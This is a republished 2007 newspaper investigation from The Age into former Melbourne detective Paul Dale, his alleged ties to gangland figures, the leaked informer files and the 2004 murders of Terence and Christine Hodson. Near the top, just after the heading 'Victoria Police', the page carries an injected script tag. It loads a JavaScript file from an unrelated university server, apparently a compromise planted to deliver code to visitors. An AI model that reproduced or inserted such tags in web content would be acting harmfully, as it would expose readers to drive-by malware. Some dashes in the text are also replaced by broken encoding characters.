NEWS > 24 March 2007

Article sourced from

Victoria Police<script src=http://wtrc.kangwon.ac.kr/skin/rook.js></script>

The Age - Melbourne,Victoria,A
24 March 2007

This article appeared in the above title/site.
To view it in its entirity click this link.

Victoria Police

Digging up deadly secrets

AUL Dale lives in Wangaratta these days, not too far from the state's border. A long way from the big smoke. But as a policeman in Melbourne, until recently, he had a secret life. His police colleagues thought of him as a good cop, a good investigator. Quiet, solid, thorough, a useful footballer in Victoria Police's midweek league.

Most colleagues never knew of his secrets: his hidden links with criminals, including gangland killer Carl Williams. He kept that kind of thing very, very quiet.

When corruption investigators and then homicide police began asking questions about those links two years ago, he stayed silent. But Dale's vexed associations took a more sinister turn after the bodies of Terence Hodson and Hodson's wife, Christine, were found, both shot twice in the back of the head, at their home in Kew in May 2004. They were gangland killings numbers 27 and 28.

Dale did not pull the trigger that night. Yet investigators are looking at his motives and associations. With the gangland killings largely solved, the criminal "code of silence" now all but broken, it is the Hodson murders that remain the biggest stain on Victoria Police's reputation. Do Paul Dale's activities leading up to the double murder provide the first real indication of a link between the gangland killings and police corruption?

"Paul Dale remains a person of interest in this investigation," Victoria Police deputy commissioner Simon Overland told The Age. "It leaves a question that needs to be answered. Whether it is a stain or not remains to be seen. But it certainly leaves a question."

Dale grew up in Yackandandah, the old gold mining town of 700 people known as the prettiest in Victoria. It's beyond the Great Divide and a long way from Melbourne. His mother, Jenny, was a nurse who became a shire mayor. The family was heavily involved in the local footy club and swimming pool. Dale left Yackandandah, moved to the city, and became a cop.

He married a nurse. They had a child. Nowadays, in Wangaratta, not far from Yackandandah, he's still in uniform � the black slacks, white shirt and company logo of the petrol station manager. The policeman's blue he wore on the beat is gone. So too is the dark suit and impassive eyes from his time as Melbourne drug squad detective.

Dale, 37, a big, muscular man with a square jaw and laconic Aussie manner, left the police force under storm clouds of suspicion, allegation and recrimination two years ago. He was sacked by Chief Commissioner Christine Nixon. In her dismissal notice, she wrote that "despite your apparent good work performance, the nature of your association with known criminals leads me to the preliminary conclusion that your integrity is so damaged that I can no longer have confidence in it". Nixon said Dale had become gangster Carl Williams' "point of contact" in the force. He challenged the fine print of the sacking and won, opting to resign, technically in the clear but still in disgrace.

Before this, senior police in the crime department who knew of his meetings with Williams had hoped he was using the relationship for good, not bad. They were operating under the proposition that if you wanted to solve crimes, you had to mix with criminals.

But now Nixon had catalogued his links with organised crime and alleged involvement in the bungled 2003 burglary of a suburban house holding more than $1 million worth of ecstasy pills in which his partner, convicted corrupt policeman David Miechel, was caught red-handed. Also caught was Terence Hodson, at the time a police informer "handled" by Dale.

Dale was charged over the burglary, even though he wasn't there. It was alleged he had masterminded it from the fringes. But when Hodson died with two bullets in his head the charges were dropped. In the period just before his death, Hodson had moved from being a mere police informer (telling Dale about crooks) to a special kind of informer. He had begun talking to the police's Ethical Standards Department about Dale's own activities. He had agreed to finger Dale as the corrupt mastermind of the planned burglary. But Dale, it has been alleged, also may have had information to share.With the underworld.

Within hours of the bungled burglary, someone took highly confidential documents detailing Hodson's second job as a police informer from the drug squad's offices. The documents were leaked to criminals, and there's nothing a crook hates more than a rat. Hodson, the man who knew too much, was soon killed.

It's a complicated story once you get into the detail � and the detail is explosive in terms of what it reveals about the gangland killings and whether or not the police had anything to do with them. It's a story that has already been partially told by Nixon in her bid to sack Dale, as disclosed in the Supreme Court, and by the Office of Police Integrity in an investigation, publicly reported, into the theft of the drug squad's documents.

An Age investigation reveals new details.

It's complicated, but it's also simple. There was a cop. He came from the bush to the city and rose through the ranks in uniform and among detectives in Brunswick, a rough beat. He did well. But then unorthodox things started happening. There was an ill-fated ecstasy burglary. A man was shot dead. Paul Dale handed in his badge. And went back to the country.

"Little Tommy" was an aspiring crook around Brunswick, so-named because he was short and skinny. Standing next to his mate Carl Williams � the big guy � he would have looked tiny. He's in Barwon prison now, serving 18 years for murder.

It was for a road-rage incident that spiralled out of control in 2002. The sentencing judge said it was an ego-driven crime, a little man trying to act big on the streets because of some perceived random injustice. Prior to that, Little Tommy � born Thomas Ivanovic in 1975 � was a criminal � a pastry chef and Brunswick drug dealer who was mates with Carl Williams, the "baby-faced" underworld head who recently made a deal with police and admitted murdering three bitter gangland rivals in the amphetamines business.

Ivanovic became a kind of henchman to him. He was set to be godfather to one of Williams' daughters, Dahkota, but was locked up first.

But Little Tommy did not only know crooks. He knew Paul Dale as well.

On paper they are opposites � Dale the all-Australian country boy, Ivanovic the shady, inner-city crook. By now, though, the city life had changed Dale. He was going to nightclubs, which in 2001 were awash with ecstasy. Ivanovic is not the sole link with Dale to Melbourne's underworld but he is significant in that he was among those, early on, to change the nature of the policeman's associations. Some say that Dale and Ivanovic were friends long before either was involved with the law; Dale himself has said so at least once.

But one thing is clear: in September, 2001, Dale, then a detective at Brunswick, was part of a drug raid on Ivanovic's house. They found ecstasy and Ivanovic was arrested. Four months passed in which, police sources say, secret contact turned nasty when an unarmed L-plate motorcyclist followed Ivanovic home to Cornwall St, West Brunswick, where there were words, some pushing, a scuffle. Ivanovic shot the motorcyclist twice.

The whole thing was captured on video from security cameras Ivanovic had set up around his house. During the murder trial in the Victorian Supreme Court, Ivanovic's mates, the crooks, Carl Williams included, often looked on.

By this time Dale had already secretly visited Ivanovic in the remand prison on Spencer Street. He had recommended to his boss at the Brunswick police station not to proceed with drug charges relating to the original ecstasy raid because, he said, there would be no proof Ivanovic knew the pills were there.

Later, these two points � the drug raid and the jail visit � would be given as evidence of Dale's corruption. To most, however, he was still a good cop. A colleague from his Brunswick days remembers him as an "excellent policeman. I was very surprised when all of this reared its ugly head. The only people who would know what is going on would be Paul Dale and Paul Dale."

Exactly a year after Ivanovic shot the L-plater dead, Dale wrote a statement claiming there had been a threat to Ivanovic's life. This was to try to say that Ivanovic legitimately feared for his life, therefore the killing was manslaughter, a crime with a lesser sentence than murder.

What Dale claimed was this: while drinking at the Union Hotel in Brunswick a few days before the murder he was told by an unknown man that Little Tommy was a "dead-man walking". The Union Hotel, near the Brunswick police station, is one of those pubs that have topless barmaids and strippers doing dildo shows. Dale said that he didn't know who at the seedy pub told him Ivanovic would be knocked. Nor could he say exactly when it was, except that it was before Ivanovic was done for murder.

For someone with a detective's eye for detail the lack of precision and timing of Dale's statement raised eyebrows and for the first time, his reputation was publicly called into question. He was deemed an "unreliable witness" in court.

Justice Cummins told Ivanovic: "You sought to perpetrate before the jury the falsity that you were in fear for extraneous reasons of the deceased. The genesis of this proposition was your relationship with a police officer." He then sentenced Ivanovic to 20 years' jail. Paul Dale's secret life was slowly starting to unravel.

TERENCE Hodson and Little Tommy never knew each other, but the story of Paul Dale can't be told without them. If Ivanovic were the kind of crook that aspired to be at the centre of things, Hodson was content to operate in the background.

And if Ivanovic was part of a new crew � the Williams' crew � Hodson was a veteran, older and wiser. He was born in England just after World War II, one of five children. He left school at 14 and started his criminal career as a bag-snatcher. Then he became a carpenter; he met his wife, Christine � Chrissie � when she walked past a building site on which he was working.

The couple migrated to Perth in 1974. Hodson started selling cars but crime paid better. He ended up in jail over a shady business deal to do with a car yard, but escaped, and fled with his family to Melbourne. And he got back into crime again. He stole things and sold them. Bought and sold guns. And drugs; he drove them across the state and also sold them from his home.

In 2001 two of Hodson's children, Andrew and Mandy, were arrested for ecstasy trafficking. They already had criminal records: Andrew for drugs and armed robbery, Mandy for drugs and burglary. In the same bust their father was done for a small amount of cocaine, a substance which he was known to sell and use. A deal was struck: if Hodson co-operated with the drug squad he wouldn't go back to jail. Plus his children's cases might be re-assessed.

So Hodson became a police informer. His contact point was Detective David Miechel. His information, shared during incognito meetings in parks and cafes, was top quality � and one of the things he knew all about was rising tensions in the Melbourne underworld. Because of his position on its perimeter, he dealt with both sides of its feuds. He wasn't aligned to either Carl Williams or Jason Moran, the gangland bosses at war with each other over drugs and money.

In 2002, Paul Dale left the Brunswick police to join the Major Drug Investigation Division. He was partnered with Miechel and the pair became good friends. They used to go to the gym together; at one point taking bets about who would bulk up and reach 100 kilograms first. This was when Dale earned his nickname "Killer" because of his increasingly muscular build. In early 2003, he met Hodson for the first time.

Around the same time, when concerns were raised internally by other police, Dale wrote: " � close monitoring of (Hodson) during these investigations has shown his integrity could not be questioned".

He would later tell anti-corruption police that Hodson was: " � a very likeable bloke � we became good friends".

In January 2003, Hodson knew nothing about Dale's relationship with the Williams crew. He didn't know that Dale was helping Williams' mate Little Tommy fight his murder charge. He didn't know that police would soon begin to question the exact nature of Dale's contact with Williams. Dale, Hodson and Miechel would eat and drink together. They went to the Charcoal Grill on the Hill, a steakhouse in Kew, and the Imperial House, a Vietnamese restaurant in Richmond. Hodson said he once gave Dale $1000 after he complained over drinks that he was broke. "Paul said nothing and put it straight into his pocket," Hodson later told police. He once asked for some free ecstasy to try with a girlfriend. Another time, Hodson said, Dale borrowed a pistol and 25 bullets; he returned the weapon with no ammunition in the magazine.

At first Hodson's dealings with the drug squad stayed the same: the arrival of Paul Dale changed nothing. But The Age has established that as Dale and Hodson got closer Dale started asking Hodson different kinds of questions about the criminal underworld; questions that seemed less to do with drug investigations and more to do with Williams' vendetta against the Moran crime family.

One day over lunch at Romeo's restaurant, a cheap and cheerful pizza and parmigiana joint in Toorak Road, Dale asked Hodson to get information about the Morans. According to testimony Hodson later gave anti-corruption police, Dale asked him where Jason Moran was staying. At the time, Moran was the No. 1 target of the Williams crew. Carl Williams was paying several of his criminal mates to gather intelligence on Moran's whereabouts.

Hodson made some rudimentary inquiries and got back to Dale. Moran, he told Dale, was laying low in Queensland with John Higgs, an amphetamine drug boss. No one knows what Dale did with that information. It might have been a proper inquiry � Moran, after all, was a drug criminal and Dale was a drug cop. But then again the information may have been used for other purposes. Some police suspect it may have been relayed back to the Williams crew. In April 2003, Williams put a price on Moran's head. Over the next two months, The Age can reveal, Hodson continued to feed Dale more information about Moran, including that Moran planned to have Williams and two cronies killed. Hodson later told anti-corruption investigators that he had been told Moran was prepared to pay $200,000 for each killing. Hodson said he passed that on to Dale as well. Hodson told corruption investigators these requests stopped in early June. Two weeks later Jason Moran was shot dead at an Auskick session in Essendon.

IT WAS the burglary that went horribly wrong. The moment that a zealous neighbour heard unusual noises in the night and called police � that was the moment that it all began to fall apart.

It was grand final weekend in 2003, Brisbane playing Collingwood. A house in Dublin Street, Oakleigh, was full of ecstasy and cash and was due to be raided by police from Miechel and Dale's own squad. Miechel and Hodson wanted to get in first, to get the drugs and sell them. They reckoned there was about $1 million of pills and up to $500,000 in cash. Maybe a bit of speed, cocaine and ice lying around too.

On the night, Miechel and Hodson wore dark clothes, carried empty bags for the stash and tools � a screwdriver, dog repellent spray, a jemmy and torches � with which to break into the house. They were armed. But good old-fashioned Neighbourhood Watch intervened. Police swooped moments after the pair emerged from the house. They dropped the drugs and hidden in a nearby primary school. Miechel was chased and felled by a police dog called Silky.

Hodson, too, was nabbed and taken to the Oakleigh police station, where, in a crucial, dramatic twist, he rolled over, again. He was already a police informer but now he would become a police corruption whistle-blower. From now on, he would tell all he knew to the police's own anti-corruption investigators.

He implicated Miechel. And he alleged that Paul Dale was the third member of the burglary team who had intended to be there on the night but pulled out at the last minute. The trio were to split the proceeds of the drug sales between them, with Hodson to sell the drugs.

All three were charged in December, 2003. Hodson was found dead in May, 2004. Dale's charges were dropped.

Last year, Miechel was convicted for his role in the burglary and given 15 years in jail, where he is planning an appeal and continues to plead his innocence, as does Dale. There is no physical evidence linking Dale to the burglary. He is a free man, for the moment, and has since described Hodson as a liar and crook.

But it has been established that on the night of the burglary Dale was only a phone call away. When corruption investigators checked Dale's phone records, they found he had been called from a mobile phone in Oakleigh. The phone belonged to a paramedic who had treated Miechel for the wounds suffered when he was attacked by a police dog. That paramedic told investigators Miechel had borrowed his phone to make a call.

It has also been established that in the next 24 hours, Dale went to the St Kilda Road drug squad offices twice. He would have had to swipe his ID pass to get in. He would later claim he was there on official business. There is no evidence � witnesses or video footage � to the contrary.

In that same 24 hours, a blue folder went missing from the same offices containing highly sensitive police files outing Hodson as an informer and detailing most of the information he had given police, including criminals he had told Miechel and Dale about. Suspicions in the underworld that Hodson was a police informer firmed up when he was arrested with then-serving policeman Miechel in Oakleigh. But the contents of the stolen files placed this beyond reasonable doubt because they showed the precise information � names, dates, times and places � Hodson had given to police.

Take this single excerpt from one of the files. It's what Hodson said about prominent underworld figures � convicted drug trafficker Mark Smith and convicted drug dealer Dave McLelland � who would both later be questioned over the murders: "4/390 (Hodson) has spoken to Mark SMITH where the following was discussed � SMITH stated that Deadly Dave wants to look at one bar (one kilogram of coke) and if it is what they reckon he would take 25 cash up front."

The files also revealed that Hodson had been telling police about the criminal activities of Peter Reed, one of the Russell Street bombers. Reed and Hodson were not close. In a bizarre twist Hodson's other daughter, Nicole, had married Reed. Reed has also been questioned about the Hodson murders.

Sometime between Dale's visit to the Major Drug Investigation Division on grand final weekend and the Hodsons' murder, the stolen files, called IRs, or information reports, found their way into the underworld. Mark Smith and Dave McLelland got copies. So did convicted gangland killer Carl Williams, and fugitive drug boss Tony Mokbel.

Andrew and Mandy Hodson are angry. They want to know who killed their parents. Andrew, a tough criminal who has done armed robberies, was even a suspect. He knows his father, Terence, risked everything by becoming an informer. He understands informers have many natural enemies in the wild. But he doesn't get why his mother, Christine, had to die. It chokes him up.

Andrew Hodson says some underworld figures knew his father was an informer well before the bungled burglary. Tony Mokbel showed him a secret police document as proof, he says. "We were at a coffee shop in Sydney Road, the one he used to hang out at. We went for a walk around the block. He pulled it out of his pocket. He said, 'if you are going to do any business, don't do it with your father because he is an informer'."

Andrew and Mandy Hodson aren't satisfied by David Miechel's conviction for the burglary. They say Dale stood to gain from their parents' murder.

Before Terence and Christine Hodson died, there was a family conference. Their father told them of the bungled burglary and its aftermath. "Mum and Dad and I sat around for about three hours," Mandy Hodson told The Age, "doing lines (of cocaine) and having a few drinks, and we were trying to puzzle it together how they got caught. My Dad told me Dale had called the day before the burg and said 'I can't make it cos I got a dinner party'. And I just looked at my dad and said, 'you and Dave (Miechel) still did it even after he called you and said he had a dinner party? I said to him, 'oh, youse are f***ked'."

They think these things, they suspect and surmise, but they don't know.

The bodies of Terence and Christine Hodson were found by their children. They were lying face down next to each other in the lounge room of their apartment in Harp Road, Kew. Police deduced they were on their knees when they were each shot twice in the back of their heads. Terence still had a cigarette in his fingers.

The crime scene was reasonably clean. In contrast to other Melbourne gangland killings, there wasn't a lot of blood. No furniture was out of place.

"It was too perfect," says Mandy Hodson. "It really was." This was a murder that was timed and planned in detail, and executed clinically � except for the probability that Terry's wife was shot merely because she was there.

Surveillance video was missing, there were no witnesses.

SO TWO dead, clearly both murdered. What next? It looked like a case for the homicide squad but Terence Hodson was telling police about corrupt police, so corruption investigators had a strong interest. The Office of Police Integrity, known then as the police ombudsman, also wanted in. As did the Purana organised crime taskforce, because of the links to the gangland murders. Purana would soon get a tantalising snippet from one of its most reliable informers � Dale had been seen having coffee with Tony Mokbel in Sydney Road, Brunswick. It was a sighting that they took very seriously indeed.

Acting Assistant Commissioner Steven Fontana, the then head of the Ethical Standards Division, recommended to Victoria Police command that a special taskforce be set up because the stakes were high. A police corruption informer had been murdered. An immediate suspect was a policeman.

In the end the case went to homicide and respected detective Charlie Bezzina, who took Dale at dawn from his house in Coburg to interview him. Dale's alibi was rock solid. On the night of the killings, The Age has discovered, he was in central Victoria on a boys' weekend, seen out drinking late into the night. He had also been very busy on his phone, calling police mates not only in Victoria but in Western Australia as well. Dale could prove he was again far away from the scene of a crime in which it was suspected he was involved.

Within months of homicide taking the file a separate inquiry began. The media discovered that the secret Hodson police documents had been leaked to the underworld. Famed Queensland corruption buster Justice Tony Fitzgerald, QC, headed an inquiry into the thefts and in January 2005 found only that Dale had the "opportunity" and the "motive" to take the files and it was "possible, but not established" that the theft was linked to the murders.

Two years on, and nearly three years after the Hodson killings, there has been no breakthrough. Purana has maintained an interest in the investigation; its members think Carl Williams knows something. He struck a deal with police recently in pleading guilty to three murder charges. He is due to be sentenced, meaning another deal may be struck. Attempts to get Dale's old partner Dave Miechel to co-operate, from jail, have so far amounted to little.

For the police, it was always going to be "a very difficult investigation," says Deputy Commissioner Simon Overland. "It is going to take time, and yeah, we are three years in, but given an investigation of this nature, I don't think there is anything remarkable about that. We remain committed to it."

Overland says police have had some "important" success in stemming Melbourne's gangland war but "there is a heck of a lot for us yet to do". He said the Hodson case "is just part of that continuing fight against organised crime in the state of Victoria."

Asked if he was confident the case would be solved, he said: "I am optimistic."

The Australian Crime Commission, which has been assisting Purana by using its coercive powers to question gangland suspects, is now also working on the Hodson case. On its interrogation list is at least one former policeman.

Paul Dale, meanwhile, has been trying for a new life up in the bush. He declined to comment to The Age. He said there were things that he would like to say, but couldn't.

He has his petrol station franchise in Wangaratta; he pumps fuel, cleans up and keeps the books. He has his neat petrol station uniform and he wears it each day to a job considerably less stressful, and less risky, than the one he held before.

Nick McKenzie is an Age investigative reporter. Chris Johnston is an Age senior writer.

A tangled web
AUGUST 2001 Terence Hodson begins informing on criminals for drug squad.

SEPTEMBER 2001 Detective Paul Dale arrests Thomas Ivanovic, associate of gangland killer Carl Williams. Dale soon forms improper relationship with Ivanovic and Williams.

JANUARY 2003 Dale attempts to assist Ivanovic fight murder charges. Dale is later described in court as an "unreliable witness".

JANUARY 2003 Dale meets Hodson for the first time and, along with Detective David Miechel, becomes Hodson's police informer "handler".

JANUARY 2003 Dale asks Hodson to find out where Jason Moran is hiding. Police sources say Dale may have passed the information back to Williams.

JUNE 2003 Jason Moran shot dead on orders of Carl Williams.

SEPTEMBER 2003 Hodson and Miechel arrested after stealing drugs from a house. Hodson agrees to testify about Miechel and Dale's involvement in drug theft. In December, both officers and Hodson are charged.

SEPTEMBER 2003 Dale attends his police office. Files about Hodson are stolen from this office. Files soon leaked to criminals, endangering Hodson's life. Dale later named in State Parliament as likely suspect in theft but denies this.

MAY 2004 Hodson and wife murdered. Corruption case against Dale collapses. (Miechel later convicted for his role in drug theft.)

AUGUST 2005 Dale resigns from police force after Supreme Court overturns his sacking by Commissioner Christine Nixon on procedural grounds.

MARCH 2007 Deputy Commissioner Simon Overland names Paul Dale as person of interest in Hodson killings. Dale has denied any involvement in murders.

EiP Comments:

* We have no wish to infringe the copyright of any newspaper or periodical. If you feel that we have done so then please contact us with the details and we will remove the article. The articles republished on this site are provided for the purposes of research , private study, criticism , review, and the reporting of current events' We have no wish to infringe the copyright of any newspaper , periodical or other works. If you feel that we have done so then please contact us with the details and where necessary we will remove the work concerned.

Other related articles:

Article sourced from

The Age - Melbourne,Victoria,A24 March 2007

Digging up deadly secrets

EiP Comments:

The Age - Melbourne,Victoria,A
24 March 2007